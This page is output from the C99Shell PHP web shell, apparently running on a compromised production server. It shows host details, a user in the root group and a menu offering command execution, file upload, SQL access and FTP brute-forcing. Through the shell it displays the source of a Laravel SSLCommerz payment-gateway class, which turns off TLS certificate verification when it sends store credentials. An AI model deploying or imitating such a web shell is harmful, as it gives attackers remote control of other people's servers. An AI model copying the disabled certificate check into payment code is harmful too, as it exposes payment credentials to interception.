!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/Modules/PaymentGateway/WHNPurchaseGateway/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SSLCommerz.php (5.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\WHNPurchaseGateway;

use 
App\Models\BillingRequest;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Log;
use 
Modules\PaymentGateway\Services\PaymentCredentials;

class 
SSLCommerz implements PaymentInterface
{
    public 
$numberReq;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirect false;

    public function 
__construct()
    {

    }

    public function 
pay()
    {
        
// TODO: Implement pay() method.
    
}

    public function 
getCredentials()
    {
        
$credentials=  json_decode(get_settings('payment_gateway'));

        if (!isset(
$credentials->sslcommerz_status) || !$credentials->sslcommerz_store_id || $credentials->sslcommerz_status != 'active' ||
            !isset(
$credentials->sslcommerz_store_password) || !isset($credentials->sslcommerz_url)) {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }
        return 
$credentials;
    }

    public function 
request($request)
    {
        
$this->request $request;
        return 
$this;
    }

    public function 
number($number)
    {
        
$this->number $number;
        return 
$this;
    }

    public function 
number_request($numberReq)
    {
        
$this->numberReq $numberReq;
        return 
$this;
    }

    public function 
will_redirect()
    {
        
// TODO: Implement will_redirect() method.
        
return $this->will_redirect;
    }

    public function 
redirect_url()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->redirect_url;
    }
    public function 
return_view()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->return_view;
    }
    public function 
error_message()
    {
        
// TODO: Implement error_message() method.
        
return $this->error_message;
    }


    public function 
process()
    {

        
$customerauth('customer')->user();
        try {
            if (!
$this->request->payment_number) {
                throw new 
\Exception('Phone number not found, provide phone number and try again');
            }

            
$credentials $this->getCredentials();

            
$post_data = array();
            
$post_data['store_id'] = $credentials->sslcommerz_store_id;
            
$post_data['store_passwd'] = $credentials->sslcommerz_store_password;
            
$post_data['total_amount'] = $this->number->sell_price;
            
$post_data['currency'] = "BDT";
            
$post_data['tran_id'] = "SSLCZ_TEST_" uniqid();
            
$post_data['success_url'] = route('paymentgateway::whatsapp.number.purchase.ssl.success');
            
$post_data['fail_url'] =  route('paymentgateway::v.payment.process.cancel');
            
$post_data['cancel_url'] = route('paymentgateway::whatsapp.payment.process.cancel');

# EMI INFO
            
$post_data['emi_option'] = "1";
            
$post_data['emi_max_inst_option'] = "9";
            
$post_data['emi_selected_inst'] = "9";

# CUSTOMER INFORMATION
            
$post_data['cus_name'] = $customer->fullname;
            
$post_data['cus_email'] = $customer->email;
            
$post_data['cus_add1'] = "Demo-".$customer->id;
            
$post_data['cus_add2'] = "Dhaka";
            
$post_data['cus_city'] = "Dhaka";
            
$post_data['cus_state'] = "Dhaka";
            
$post_data['cus_postcode'] = "1000";
            
$post_data['cus_country'] = "Bangladesh";
            
$post_data['cus_phone'] = $this->request->payment_number;
            
$post_data['cus_fax'] = $this->request->payment_number;

# SHIPMENT INFORMATION
            
$post_data['ship_name'] = "Store Test";
            
$post_data['ship_add1 '] = "A";
            
$post_data['ship_add2'] = "B";
            
$post_data['ship_city'] = "C";
            
$post_data['ship_state'] = "D";
            
$post_data['ship_postcode'] = "0000";
            
$post_data['ship_country'] = "E";
            
$post_data['shipping_method'] = "NO";

# OPTIONAL PARAMETERS
            
$post_data['value_a'] =  $this->number->id;
            
$post_data['value_b'] =  $this->numberReq->id;
            
$post_data['value_c'] =  $customer->id;
            
$post_data['product_name'] = $this->number->number;
            
$post_data['product_category'] = $this->number->number;
            
$post_data['product_profile'] = "general";

            
$post_data['product_amount'] = $this->number->sell_price;
            
$post_data['vat'] = "0";
            
$post_data['discount_amount'] = "0";
            
$post_data['convenience_fee'] = "0";


//            $direct_api_url = "https://sandbox.sslcommerz.com/gwprocess/v4/api.php";
            
$direct_api_url $credentials->sslcommerz_url;

            
$handle curl_init();
            
curl_setopt($handleCURLOPT_URL$direct_api_url);
            
curl_setopt($handleCURLOPT_TIMEOUT30);
            
curl_setopt($handleCURLOPT_CONNECTTIMEOUT30);
            
curl_setopt($handleCURLOPT_POST1);
            
curl_setopt($handleCURLOPT_POSTFIELDS$post_data);
            
curl_setopt($handleCURLOPT_RETURNTRANSFERtrue);
            
curl_setopt($handleCURLOPT_SSL_VERIFYPEERFALSE); # KEEP IT FALSE IF YOU RUN FROM LOCAL PC


            
$content curl_exec($handle);
            
$code curl_getinfo($handleCURLINFO_HTTP_CODE);

            if(
$code == 200 && !( curl_errno($handle))) {
                
curl_close$handle);
                
$sslcommerzResponse $content;
            } else {
                
curl_close$handle);
                echo 
"FAILED TO CONNECT WITH SSLCOMMERZ API";
            }

# PARSE THE JSON RESPONSE
            
$sslcz json_decode($sslcommerzResponsetrue );

            
$this->redirect_url $sslcz['GatewayPageURL'];
            
$this->will_redirect true;
            
$this->return_view null;
        }catch(
\Exception $ex){
            
Log::error($ex);
            
$this->error_message$ex->getMessage();
        }
    }

}



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--